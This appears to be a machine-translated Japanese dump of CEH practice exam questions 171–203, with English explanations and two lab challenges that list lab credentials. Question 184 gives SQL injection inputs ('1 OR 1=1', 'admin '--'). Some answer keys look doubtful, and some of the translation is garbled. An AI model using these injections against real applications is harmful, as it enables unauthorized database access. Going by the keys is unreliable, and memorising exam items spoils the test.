C. 機密性の高い実行ファイルのファイルハッシュを監視し、不正な変更がないか確認します。
D. ファイアウォールルールを使用して、使用されていないポートを無効にし、送信トラフィックを制限します。
正解: (正解を表示します)
Monitoring file hashes of sensitive system executables enables detection of unauthorized modifications to legitimate utilities and services, which is a common persistence technique used to evade traditional security controls and remain undetected.

質問: **171**
マルチホームファイアウォールにおけるネットワーク接続の最小数はいくつですか？
A. 5
B. 2
C. 3
D. 4
正解: (正解を表示します)
A multihomed firewall requires at least three network interfaces: one connected to the external network, one to the internal network, and one to a demilitarized zone (DMZ) or separate network segment for controlled traffic separation.

質問: **172**
2025年7月9日、アリゾナ州フェニックスのMedSecure Healthで行われたセキュリティ侵入テストにおいて、倫理的ハッキングチームは同社の患者ポータルシステムの回復力を評価した。倫理的ハッカーのアイシャ・カーンは、Webアプリケーションサーバーに対して持続的なトラフィック負荷を発生させる制御されたテストを開始した。システムの応答性が低下すると、IT運用チームはバックエンドリソースを再割り当てし、システムアラートや通知サービスなどの優先度の低いモジュールを一時停止し、処方箋の再発行や患者のチェックインなどの優先度の高い機能は引き続き利用できるようにした。アイシャの制御されたシミュレーションは、部分的なリソース枯渇下で重要な機能を維持するITチームの能力を評価するように設計されている。アイシャの演習は主にどのようなDoS/DDoS対策戦略をシミュレートしているのだろうか？
A. サービスの質の低下
B. サービス停止
C. 攻撃を吸収する
D. 律速段階
正解: (正解を表示します)

The system deliberately reduces or suspends non-critical services while maintaining essential functions during resource exhaustion. This reflects degrading services, where lower-priority operations are sacrificed to preserve critical system availability under attack conditions.

質問: **173**
プロのハッカーであるクラークは、ある組織に雇われ、競合他社に関する機密情報を密かに収集する任務を負った。クラークは、Whoisフットプリンティングを用いて、対象組織のサーバーIPアドレスを収集した。さらに、そのサーバーIPアドレスをオンラインツールに入力し、対象組織のネットワーク範囲などの情報を取得したり、ネットワークトポロジーやネットワークで使用されているオペレーティングシステムを特定したりした。上記のシナリオでクラークが使用したオンラインツールとは何か？
A. DuckDuckGo
B. ARIN
C. AOL
D. Baidu
正解: **B (**コメントを発表する**)**

質問: **174**
ノースカロライナ州シャーロットにあるデジタル出版会社は、自社の公開ウェブサイトに対する不審な探査活動に気づきました。セキュリティチームは、リスクを事前に評価するため、同社のHTTPサーバーに対する集中的なスキャンを開始しました。選択されたツールは、サーバーヘッダーを調べ、ファイル署名とファビコン分析によってインストールされているWebサーバーソフトウェアを特定し、古いコンポーネントをチェックし、潜在的に危険なファイルや設定ミスを検索しました。このスキャンはSSL接続もサポートし、ドキュメント作成のために複数の形式でエクスポート可能なレポートを生成しました。上記の機能に最も近い脆弱性評価ツールはどれですか？
A. 誰も
B. ネッソス
C. Qualys VM
D. OpenVAS
正解: **(**正解を表示します**)**
The tool described focuses specifically on web server assessment by analyzing HTTP headers, identifying server software via signatures and favicon checks, detecting outdated components, and searching for dangerous files and misconfigurations. These capabilities are characteristic of Nikto, a web server vulnerability scanner with SSL support and report generation features.

質問: **175**
サイバーセキュリティコンサルタントとして、あなたはSaaS(Software as a Service)クラウド環境へのデータ移行を希望するクライアントを担当しています。クライアントは、クラウドサービスプロバイダーに対しても機密データのプライバシーを維持することに特に懸念を抱いています。SaaS環境におけるデータのプライバシーを最も確実に保護できる戦略は次のうちどれでしょうか？
A. SaaS環境にアップロードする前にクライアント側でデータを暗号化し、暗号化キーを個別に管理します。

B. クラウドサービスプロバイダーに組み込まれているセキュリティ機能を利用する。
C. SaaSアプリケーションにアクセスするすべてのユーザーアカウントに多要素認証を使用する
D. SaaSアプリケーションにアクセスするための仮想プライベートネットワーク(VPN)を実装します。
正解: **(**正解を表示します**)**

質問: **176**
ある組織が脅威を軽減するために脆弱性評価を実施しています。ペネトレーションテスターのジェームズは、組織のマシンで見つかったプロトコルのインベントリを作成することで組織をスキャンし、メールサーバー、Webサーバー、データベースサーバーなどのサービスに接続されているポートを検出しました。サービスを特定した後、彼は各マシン上の脆弱性を選択し、関連するテストのみを実行しました。上記のシナリオでジェームズが採用した脆弱性評価ソリューションの種類は何ですか？
A. ツリーベースの評価
B. 製品ベースのソリューション
C. 推論に基づく評価
D. サービスベースのソリューション
正解: **(**正解を表示します**)**

質問: **177**
倫理的ハッカーが事前評価において行うべき最も重要なステップは次のうちどれですか？
A. ウェブサーバーをハッキングする。
B. 対象に関する情報を収集する。
C. ハッキングの口頭許可を得る。
D. ハッキングの書面による許可を得る。
正解: **D (**コメントを発表する**)**
Obtaining written permission is the most important pre-assessment step because it provides legal authorization and clearly defines the scope of the penetration test. Without written approval, the activity could be considered illegal.

質問: **178**
あなたは最近、国際的なソフトウェア企業のサイバーセキュリティガバナンスチームに加わりました。社内コンプライアンスレビューの準備をしている中で、上司から組織の情報セキュリティを管理するための包括的なフレームワークとなるISO/IEC規格を特定するよう指示されました。あなたは、リスク管理、サイバーセキュリティ、そして統制の導入に焦点を当てた規格など、いくつかの規格を検討しました。
ただし、組織全体で情報セキュリティ プログラムを管理するための包括的な構造を定義するものを選択する必要があります。
次の標準のうちどれを選択する必要がありますか?
A. ISO/IEC 27002:2022
B. ISO/IEC 27005:2022
C. ISO/IEC 27001:2022
D. ISO/IEC 27701:2019

正解: (正解を表示します)
This standard defines the requirements for establishing, implementing, maintaining, and continually improving an Information Security Management System (ISMS). It provides the overarching framework for managing information security across an organization.

質問: **179**
オレゴン州ポートランドで、倫理的ハッカーのオリビア・ハーパーは、カスケード・バイオテック社に雇われ、同社の研究ネットワークのセキュリティをテストすることになった。侵入テスト中、彼女は機密性の高い遺伝子データをホストするサーバーに悪意のあるパケットを送信することで攻撃をシミュレートする。検出を回避するために、彼女はネットワークのファイアウォール付近に展開されている監視システムを理解する必要がある。このシステムは、サブネット全体にわたって送受信トラフィックを分析し、疑わしいパターンを検出する。オリビアの目標は、このシステムを迂回してセキュリティチームに脆弱性を明らかにすることである。オリビアは、カスケード・バイオテック社のネットワークに対する侵入テスト中に、どのセキュリティシステムを迂回しようとしているのか？
A. ネットワークベースの侵入検知システム
B. ホストベースファイアウォール
C. ネットワークベースのファイアウォール
D. ホストベース侵入検知システム
正解: (正解を表示します)
The system described monitors traffic across the entire subnet and analyzes network packets for suspicious patterns, which is characteristic of a network-based intrusion detection system that inspects network-level traffic rather than individual hosts.

質問: **180**
ボストンの金融サービス会社で行われた侵入テストで、倫理的ハッカーのダニエルは顧客ポータルに対してDDoS攻撃をシミュレーションしました。この攻撃に対応するため、ITチームは1人のユーザーが1秒あたりに送信できるリクエスト数を制限するルールを設定しました。攻撃的な接続は遅延または切断されますが、ほとんどの正規顧客は引き続きサービスを利用できます。ITチームが主に採用している対策戦略はどれでしょうか？
A. サービス停止
B. 律速段階
C. サービスの質の低下
D. 攻撃を吸収する
正解: **B** (コメントを発表する)
By limiting the number of requests a user can make per second and delaying or dropping excessive traffic, the system enforces rate limiting to control load and mitigate the effects of a DDoS attack.

質問: **181**
デンバーのロッキーマウンテン保険で実施された侵入テスト中、倫理ハッカーのソフィア・グエンは、悪意のあるトラフィックを小さなパケットに分割することで検出を回避しようと試みました。ITセキュリティチーム

は、トラフィックを監視し、設定された基準からの逸脱を検出し、通常のネットワークアクティビティと一致しない動作をフラグ付けするシステムで、彼女の戦略に対抗しました。これにより、ソフィアの検出回避の試みをリアルタイムで阻止することが可能になりました。
この場合、IT チームが使用する可能性が最も高い検出手法はどれですか?
A. ディープパケットインスペクション
B. ステートフルパケットインスペクション
C. シグネチャベースの検出
D. 異常ベースの検出
正解: **(**正解を表示します**)**
The system identifies traffic that deviates from normal patterns, such as fragmented or unusual packet sequences, by comparing activity against established baselines. This approach of detecting abnormal behavior is characteristic of anomaly-based detection.

質問: **182**
XYZ社のサイバーセキュリティチームは、包括的なセキュリティ評価を実施中に、ネットワークインフラストラクチャへの高度な持続的脅威(APT)侵入の可能性を示す兆候を発見しました。これらの高度な脅威は、他の種類のサイバー攻撃とは異なる微妙な兆候を示すことがよくあります。疑念を確証し、潜在的なAPTを適切に隔離するために、次のうちどの行動を優先すべきでしょうか？
A. スピアフィッシング攻撃の証拠を探す(悪意のあるメールや危険な添付ファイルの存在など)
B. ファイアウォールやウイルス対策ソフトをすり抜けるゼロデイ攻撃の痕跡を注意深く監視してください。
C. データベースシステム内でファイル移動の異常や不正なデータアクセス試行がないか調査してください。
D. 認識されていない地域からのネットワークログイン試行が繰り返されていないか精査する
正解: **B (**コメントを発表する**)**

質問: **183**
ネットワークセキュリティ専門家のジェイクは、自社におけるネットワークレベルのセッションハイジャック攻撃を防ごうとしています。彼は、さまざまな種類の攻撃を研究する中で、攻撃者がクライアントとサーバー間の通信に自身のマシンを挿入し、パケットが本来の経路を通っているように見せかける手法について知りました。この手法は主にパケットのルーティングを変更するために使用されます。ジェイクが研究しているネットワークレベルのセッションハイジャック攻撃の種類は次のうちどれでしょうか？
A. 偽造ICMPとARPスプーフィングを用いた中間者攻撃
B. TCP/IPハイジャック

C. RSTハイジャック
D. UDPハイジャック
正解: **A (**コメントを発表する**)**

質問: **184**
侵入テスト担当者は、Webアプリケーションの製品検索機能がSQLインジェクション攻撃に対して脆弱であると疑っています。テスト担当者は、SQLクエリを操作することでこれを検証する必要があります。SQLインジェクション攻撃をテストする最適な手法は何でしょうか？
A. 検索フィールドに悪意のあるスクリプトを挿入して、クロスサイトスクリプティング(XSS)のテストを行います。
B. 検索フィールドでディレクトリトラバーサル構文を使用してサーバーファイルにアクセスします
C. 検索フィールドに ‘admin '--」と入力して認証を回避しようとします。
D. 検索フィールドに1または1=1を入力すると、データベースからすべての製品が取得されます。
正解: **D (**コメントを発表する**)**
Injecting a tautological condition such as 1 OR 1=1 manipulates the SQL query logic to always evaluate as true. If the application returns all products or behaves abnormally, it confirms the presence of a SQL injection vulnerability.

質問: **185**
侵入テスターは、ユーザーが入力したすべてのキーストロークを秘密裏に記録するマルウェアをシステム上で検出しました。これはどのような種類のマルウェアですか？
A. ルートキット
B. ランサムウェア
C. キーロガー
D. ワーム
正解: **(**正解を表示します**)**
A keylogger is designed to covertly record keystrokes entered by a user, allowing attackers to capture sensitive information such as usernames, passwords, and other confidential data without the user's knowledge.

質問: **186**
セキュリティ評価の過程で、コンサルタントはアプリケーションが認証済みユーザーからのリクエストをどのように処理するかを調査します。その結果、ユーザーがログインすると、アプリケーションは以降のリクエストの発信元を検証しないことが判明します。この脆弱性を悪用するため、コンサルタントは悪意のあるフォームを含むウェブページを作成し、アプリケーションに資金送金リクエストを送信します。ログイン済みのユーザーは、そのページがプロモーションキャンペーンの一部だと信じ、フォームに入力して送信します。アプリケーションは再認証やユーザー確認なしにリクエストを正常に処理し、被害者のセッションでトランザクションを完了します。このシナリオで使用されているセッションハイジャックの手法はどれでしょうか？
A. セッション固定攻撃によるユーザーセッションの乗っ取り
B. クロスサイトスクリプト攻撃によるユーザーセッションの乗っ取り

C. クロスサイトリクエストフォージェリ攻撃によるユーザーセッションの乗っ取り
D. セッションリプレイ攻撃によるユーザーセッションの乗っ取り
正解: **(**正解を表示します**)**
The attacker exploits the application's failure to verify the origin and intent of authenticated requests. By tricking a logged-in user into submitting a malicious form, the attacker causes unauthorized actions to be executed using the victim's active session, which is characteristic of a cross-site request forgery attack.

質問: **187**
内部レッドチーム演習中に、オペレーターはドメインコントローラーとして識別されたターゲットシステムでTCPポート389が開いていることを発見しました。LDAPの露出範囲を評価するために、オペレーターはldapsearch -h <ターゲットIP> -x -s base namingcontextsコマンドを実行し、ベース識別名(DN) : DC=internal,DC=corpを示す応答を受け取りました。このネーミングコンテキストは、組織のActive Directoryで使用されているLDAPディレクトリ構造のルートを示しています。この発見を受けて、オペレーターはLDAP列挙を継続し、ドメイン内のユーザーとオブジェクトの可視性を拡大するための次のステップを計画しました。最も論理的な次のアクションは何ですか？
A. ドメインコントローラーへのRDPログインを試みる
B. ローカルサブネット上でARPスキャンを実行する
C. フィルタでベースDNを使用してディレクトリオブジェクトを列挙します
D. SMB経由でユーザーパスワードに対するブルートフォース攻撃を実行する
正解: **(**正解を表示します**)**
After discovering the base distinguished name of the directory, the logical next step in LDAP enumeration is to use that base DN in ldapsearch queries to enumerate directory objects such as users, groups, computers, and organizational units, expanding visibility into the Active Directory structure.

質問: **188**
プロのハッカーであるロビンは、ある組織のネットワークを標的にして、すべてのトラフィックを傍受しようとしました。この過程で、ロビンは不正なスイッチをLAN内の未使用ポートに接続し、ネットワーク内の他のどのスイッチよりも優先度を低く設定しました。これは、後でネットワーク内のすべてのトラフィックを傍受できるように、そのスイッチをルートブリッジにするためです。上記のシナリオでロビンが行った攻撃は何ですか？
A. ARPスプーフィング攻撃
B. VLANホッピング攻撃
C. STP攻撃
D. DNSポイズニング攻撃
正解: **(**正解を表示します**)**

質問: **189**
あなたはNorthpoint Assessments社の倫理的ハッカーで、カリフォルニア州サンフランシスコのハーバービュープラザ周辺の無線ネットワークの分布をマッピングする業務に従事しています。近くのネットワークを列挙し、デバイスにSSIDと機能を公開させるために、ブロードキャストを傍受するだけでなく、ラップトップ

から細工した管理フレームを積極的に送信し、各アクセスポイントの即時応答(プローブ応答や機能情報を含む)を記録します。上記の活動に基づくと、あなたはどのWi-Fi検出手法を実行していることになりますか？
A. ネットワーク検出ソフトウェア
B. 洗車コマンド
C. パッシブ -フットプリンティング
D. アクティブ -フットプリンティング
正解: **D (**コメントを発表する**)**
Actively sending management frames to prompt access points to respond goes beyond simply listening to existing broadcasts. This interactive approach, where the tester stimulates devices to reveal information, is characteristic of active footprinting.

質問: **190**
侵入テスト担当者が、重要インフラを管理する産業制御システム(ICS)を評価しました。テスト担当者は、システムがリモートアクセスに脆弱なデフォルトパスワードを使用していることを発見しました。この脆弱性を悪用する最も効果的な方法はどれでしょうか？
A. 総当たり攻撃を実行して、システムのデフォルトパスワードを推測する
B. デフォルトのパスワードを使用してICSへの不正アクセスを行い、システム操作を制御する
C. サービス拒否(DoS)攻撃を実行して、システムを一時的に妨害する
D. クロスサイトリクエストフォージェリ(CSRF)攻撃を実行してシステム設定を操作する
正解: **(**正解を表示します**)**
Weak default passwords allow direct unauthorized access when reused unchanged. Using those default credentials enables immediate control of the ICS without triggering account lockouts or generating excessive authentication noise, making it the most effective exploitation method.

質問: **191**
オースティンのローン -スター -ヘルスケアで行われた侵入テストで、倫理的ハッカーのリアムは、ファイアウォールを介して制御されたトラフィックフローを生成することで、病院の境界防御を評価します。彼は、さまざまなトラフィックパターンを作成して再生できるツールを使用して、ファイアウォールが正当なトラフィックと悪意のあるトラフィックの両方に対してルールをどれだけ適切に適用できるかをテストします。これにより、模擬攻撃条件下でデバイスが回避の試みを適切に識別できるかどうかを実証できます。このテストでリアムが最も使用している可能性が高いツールはどれですか？
A. Traffic IQ プロフェッショナル
B. メタスプロイト
C. Colasoft Packet Builder
D. Nmap
正解: **C (**コメントを発表する**)**
Colasoft Packet Builder allows the creation and replay of custom network traffic patterns, enabling testing of firewalls and other security devices against evasion techniques and rule enforcement.

質問: **192**

レッドチーム評価において、倫理的ハッカーは、大規模な多国籍企業の外部攻撃対象領域をマッピングする任務を負います。対象組織は、複数の地域ウェブサイトとクラウドホスト環境を異なるサブドメインで運用しています。厳格な交戦規則により、ハッカーは組織のセキュリティ監視システムに警告を発する可能性のあるアクティブなスキャンやプローブを避ける必要があります。目標は、公開されているサブドメインをできるだけ多く発見し、目立たない、あるいは忘れられたサブドメインに存在する可能性のある、パッチ未適用または設定ミスのあるサービスを特定することです。倫理的ハッカーは、組織のサブドメインをパッシブに列挙するために、どの方法を使用すべきでしょうか？
A. DNSサブドメインのブルートフォース列挙を実行します。
B. NetcraftやDNSdumpsterなどのツールを活用してサブドメイン情報を収集します。
C. 偽の認証情報を使用して内部 DNS レコードを要求します。
D. 管理者認証情報を推測し、会社のDNSポータルにアクセスを試みる。
正解: **(**正解を表示します**)**
Passive subdomain enumeration relies on third-party data sources and search engines rather than direct interaction with the target's infrastructure. Services like Netcraft and DNSdumpster aggregate historical DNS records, certificate transparency logs, and publicly observed data to reveal exposed subdomains without generating traffic that could trigger security monitoring.

質問: **193**
貴社のネットワークにおいて、無線ネットワークコンポーネントのセキュリティが十分でないという懸念が生じています。無線ネットワークの脆弱性スキャンを実行したところ、有線ネットワークの暗号化を模倣するように設計された古い暗号化プロトコルが使用されていることが判明しました。使用されている暗号化プロトコルは何ですか？
A. WPA
B. WEP
C. WPA3
D. 半径
正解: **(**正解を表示します**)**

質問: **194**
マサチューセッツ州ボストンの活気あふれるテクノロジーハブで、倫理的ハッカーのザラ・グエンは、中小企業向けウェブアプリケーションをホスティングする米国拠点のプラットフォーム、CloudCrafterのデジタルセキュリティに深く入り込みます。アプリケーションの入力処理を調査する任務を負ったザラは、特別に細工した入力をサーバー管理パネルに送信します。彼女のテストにより、深刻な脆弱性が発見されました。システムがシステムレベルで意図しない操作を実行し、制限されたサーバーリソースへのアクセスを可能にしていたのです。さらに詳しく調査した結果、この欠陥は、ディレクトリサービスクエリの変更、改行文字の挿入、シェル固有の環境の標的化ではなく、システムレベルの実行に渡されるユーザー入力のサニタイズがアプリケーションで行われていないことにあることが判明しました。プラットフォームの強化に尽力するザラは、CloudCrafterのセキュリティチームが緊急に修正できるよう、詳細なレポートを作成します。ザラがCloudCrafterのウェブアプリケーションで悪用している可能性が最も高いインジェクション攻撃の種類は何でしょうか？

A. シェル射出
B. CRLF注射
C. LDAPインジェクション
D. コマンドインジェクション
正解: **(**正解を表示します**)**
The vulnerability involves unsanitized user input being passed to system-level execution, allowing unintended commands to run on the server. This behavior is characteristic of command injection, where attackers execute arbitrary system commands through input fields.

質問: **195**
あなたはCloudGuard Inc.のクラウドセキュリティ専門家で、インフラストラクチャをパブリッククラウドに移行しようとしているクライアントを担当しています。クライアントはデータ漏洩の可能性を懸念しており、特定の機密リソースには許可された担当者のみがアクセスできるようにしたいと考えています。あなたはゼロトラストセキュリティモデルの導入を提案します。以下のうち、ゼロトラストモデルがクラウド リソースのセキュリティをどのように強化するかを最も適切に説明しているのはどれですか？
A. SSL/TLSプロトコルを実装することで、安全なデータ伝送を保証します。
B. 最小権限の原則に基づいて動作し、場所に関係なく、すべてのリクエストを信頼できないソースからのものとして検証します。
C. クラウドに保存されているすべてのデータを暗号化し、許可されたユーザーのみが復号できるようにします。
D. すべてのユーザーアカウントに多要素認証を使用します。
正解: **B (**コメントを発表する**)**

質問: **196**
侵入テスト担当者が、HTTPS、セキュアなCookie、およびセッションハイジャック防止のための多要素認証を使用しているWebアプリケーションを評価しています。セキュリティ警告を発生させることなく正規ユーザーのセッションをハイジャックするには、テスト担当者はどの高度な手法を用いるべきでしょうか？
A. クロスサイトリクエストフォージェリ(CSRF)攻撃を実行してセッショントークンを操作する
B. ブラウザのゼロデイ脆弱性を悪用して悪意のあるスクリプトを挿入する
C. 暗号化されたトークンをキャプチャしてセッショントークンリプレイ攻撃を利用する
D. 信頼できるネットワークデバイスを侵害して中間者攻撃を実行する
正解: **(**正解を表示します**)**
Exploiting a browser zero-day allows the attacker to operate within the user's trusted browser context after authentication, enabling interception or manipulation of session data without breaking HTTPS, triggering MFA challenges, or generating anomalous server-side indicators, making it the most stealthy and effective approach.

質問: **197**
空欄を埋める
シナリオ
説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続された別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。
CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは 『リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:

10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1 (Parrot Security)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→「脆弱性分析」→「OpenVAS - Greenbone」→「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注：EHワークステーション-1 (Parrot Security)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ：
IPアドレス192.168.44.32のホストに対して脆弱性評価を実施してください。低深刻度と分類された脆弱性の総数を特定し、その数を回答として提出してください。
(形式：N)
正解:
2

質問: **198**
ボブは携帯電話に次のテキストメッセージを受け取りました。「こんにちは、Yahoo Bankのスコット・スメルビーです。重要な取引について、scottsmelby@yahoo.comまでご連絡ください。」以下の記述のうち、正しいものはどれですか？
A. これは詐欺です。ボブはスコットを知りません。
B. これは信頼できる組織からのメッセージなので、おそらく正当なメッセージでしょう。
C. ボブはスコットの身元を確認するためにscottmelby@yahoo.comにメールを送るべきです。
D. これは詐欺です。@yahoo アドレスは誰でも取得できますが、Yahoo カスタマー サービス従業員は取得できません。
正解: **(**正解を表示します**)**

Legitimate financial institutions do not normally use free public email services such as Yahoo for official sensitive communications. Since anyone can create a Yahoo email address, the message is a strong indicator of a scam or phishing attempt.

質問: **199**
スマート農業システムのセキュリティ評価において、アナリストはクラウド管理型の灌漑コントローラーを調査しました。その結果、このデバイスは暗号化されていないHTTP経由で操作コマンドを送信し、ファームウェアのアップデートを受信していることが判明しました。さらに、これらのアップデートの完全性や真正性を検証するメカニズムが欠如しています。この脆弱性により、攻撃者は通信を傍受したり、悪意のあるファームウェアを注入したりすることが可能になり、デバイスの動作を不正に制御したり、重要な機能を無効化したりする可能性があります。この状況は、どのIoT脅威カテゴリを最もよく示しているでしょうか？
A. 安全でないネットワークサービス
B. 安全でないエコシステムインターフェース
C. 安全でないデフォルト設定
D. プライバシー保護が不十分
正解: **(**正解を表示します**)**
The vulnerability arises from the device's interaction with external systems (cloud services) over unencrypted channels and without verifying update authenticity. This reflects an insecure ecosystem interface, where trust and integrity between the IoT device and its supporting ecosystem are not properly enforced.

質問: **200**
CyberFortress Solutionsのハビエル・ルイス氏は、テキサス州ヒューストンに拠点を置く金融会社Apex Financial Servicesのモバイルセキュリティ対策の監査を担当しています。秘密裏に実施されたペネトレーションテストで、ハビエル氏は企業の金融システムへのアクセスに使用されている従業員の個人用スマートフォンを標的としました。彼はアクセス制御を回避する悪意のあるアプリをインストールすることで脆弱性を悪用し、機密性の高い金融データへの不正アクセスを可能にしました。デバイスにはアプリへのアクセスを制限するための具体的なセキュリティ対策がないため、この脆弱性が悪用されたのです。この脆弱性を踏まえると、Apex Financial Servicesのポリシーに最も欠けていると思われるBYODセキュリティガイドラインはどれでしょうか？
A. アプリをインストールする前に、アプリが要求する権限を確認してください。
B. アプリにパスワードを設定して、他のユーザーがアクセスできないようにします。
C. 自動デバイスロックを強制するか、生体認証を実装する
D. 暗号化メカニズムを使用してデータを保存する
正解: **(**正解を表示します**)**
The attacker gained unauthorized access through a malicious app because there was no control restricting access to applications. Implementing app-level passwords or access controls would prevent unauthorized use of sensitive apps, addressing this specific weakness.

質問: **201**

プロのハッカーであるウィルソンは、金銭的利益を目的としてある組織を標的にし、悪意のあるメールを送信することでその組織のシステムを侵害しようと計画しています。この目的のために、彼は標的のメールを追跡するツールを使用し、さまざまな公開情報源から送信者の身元、メールサーバー、送信者のIPアドレス、送信者の所在地などの情報を抽出します。また、haveibeenpwned.com APIを使用して、メールアドレスが漏洩していないかどうかも確認します。上記のシナリオでウィルソンが使用するツールは次のうちどれですか？
A. ネットクラフト
B. 挿入
C. ファクティブ
D. ズーム情報
正解: **(**正解を表示します**)**

質問: **202**
あなたは最近大学を卒業し、地元の企業でジュニアサイバーセキュリティアナリストとして初めての仕事に就きました。チームリーダーが、さまざまな種類のハッカーとその動機について説明しています。その中で「ハクティビスト」という言葉が出てきます。CEH v12の学習教材から覚えている情報に基づいて、ハクティビストを最もよく表しているのは次のうちどれですか？
A. 組織に雇われ、意図的にシステムのセキュリティ脆弱性を探し出して修正するハッカー。
B. 政治的な目的や社会的な大義を推進するために自身のスキルを使用するハッカー。多くの場合、システムへの攻撃を仕掛けて、自分たちの主張に注目を集めます。
C. 組織に所属せず、好奇心や知識を得るためにシステムをハッキングするハッカー。
D. 主に金銭的利益を目的としており、しばしば個人情報窃盗などの違法行為を行うハッカー。
正解: **(**正解を表示します**)**
A hacktivist uses hacking techniques to advance political, ideological, or social causes, often targeting organizations or systems to raise awareness or make a statement rather than for personal or financial gain.

質問: **203**
空欄を埋める
シナリオ
説明書
あなたは、情報セキュリティ分野における高度な研究開発を行うITおよびITES企業であるCEHORGのレッドチームの一員として採用されました。CEHORGは全国にオフィスを構え、ネットワークインフラによってリアルタイムで接続されています。
貴社はサイバーセキュリティインシデントの増加を懸念しており、貴社にインフラ全体に対する包括的なセキュリティ監査を委託しました。
CEHORGの社内ネットワークは、他の大規模組織と同様に、複数のサブネットで構成され、それぞれに様々な組織単位が収容されています。フロントオフィスは、顧客向けコンピュータに接続する別のサブネットに接続されています。同社は、顧客が製品やサービスを理解しやすいように、複数のキオスク端末を設置しています。また、スマートフォンやノートパソコンを持ち歩くユーザーのために、フロントオフィスにはWi-Fi接続環境も整備されています。

CEHORGの内部ネットワークは、軍事区域と非軍事区域で構成されています。セキュリティ対策として、また設計上、すべての内部リソース区域には異なるサブネットIPアドレスが設定されています。
軍事区域には、様々な部署にアプリケーションフレームワークを提供するアプリケーションサーバーが設置されています。非軍事区域には、ウェブサーバーやメールサーバーなど、組織の外部向けシステムが設置されています。本部のネットワークトポロジーとプロトコルは、本部との効率的な通信を確保するため、世界中のすべての支社に複製されています。
説明
CEH Practical試験では、C|EHプログラムで扱われる倫理的ハッキングの領域に基づいた20の課題が出題されます。試験では、それぞれに脆弱性のあるアプリケーションとサービスを含む複数の隠しマシンが用意されています。受験者は、さまざまな倫理的ハッキングの領域における知識とスキルを応用して、これらの課題を解決する必要があります。試験時間は6時間です。CEH Practicalの各課題は10ポイントで、CEH(Practical)資格を取得するには、20の課題のうち最低14の課題を解決し、合計140ポイントを獲得する必要があります。
サイバーレンジでは、Ethical Hacker Workstation、EH Workstation - 1、およびEH Workstation - 2にアクセスできます。EH Workstation - 1はParrot Securityマシンで、EH Workstation - 2はEthical Hacker Workstation - 1とEH Workstation - 2です。
- 2はWindows 11マシンです。これらのマシンは「リソース」タブから切り替えることができます。
各チャレンジにつき、最大3回まで挑戦できることにご注意ください。
利用可能なターゲットネットワーク:
10.10.55.0/24
192.168.44.0/24
192.168.200.0/24
除外事項：
10.10.55.1、10.10.55.2
192.168.44.1、192.168.44.2
192.168.200.1、192.168.200.2
EHワークステーション-1 (Parrot Security)マシンにアクセスするための認証情報は以下のとおりです。
ユーザー名: attacker パスワード: toor
EH Workstation - 2 (Windows 11) にアクセスするための認証情報は以下のとおりです。
ユーザー名: Admin パスワード: Pa$$w0rd
EHワークステーション1(Parrot Security)マシン上のOpenVASにアクセスするための認証情報は以下のとおりです。
ユーザー名: admin パスワード: password
OpenVASツールを開くには、デスクトップウィンドウ上部の「アプリケーション」をクリックし、「ペネトレーションテスト」→ 「脆弱性分析」→ 「OpenVAS - Greenbone」→ 「Greenbone脆弱性マネージャーサービスの開始」の順に移動してOpenVASツールを起動します。
注：EHワークステーション-1 (Parrot Security)マシンのデスクトップにあるusername.txtとpassword.txtは、認証情報/パスワードのクラッキング試行に使用できます。
旗
チャレンジ：

インシデント対応担当者が任務中に「Ghostware」という名前の疑わしい実行ファイルを入手しました。マルウェアアナリストであるあなたの任務は、この実行ファイルのエントリポイント(アドレス)を特定することです。ファイルは「EH Workstation - 2」というラベルの付いたマシンのC:\Users\Administrator\Documentsディレクトリにあります。(形式：NNNNaNNN)
正解:
0041e768

質問: **204**
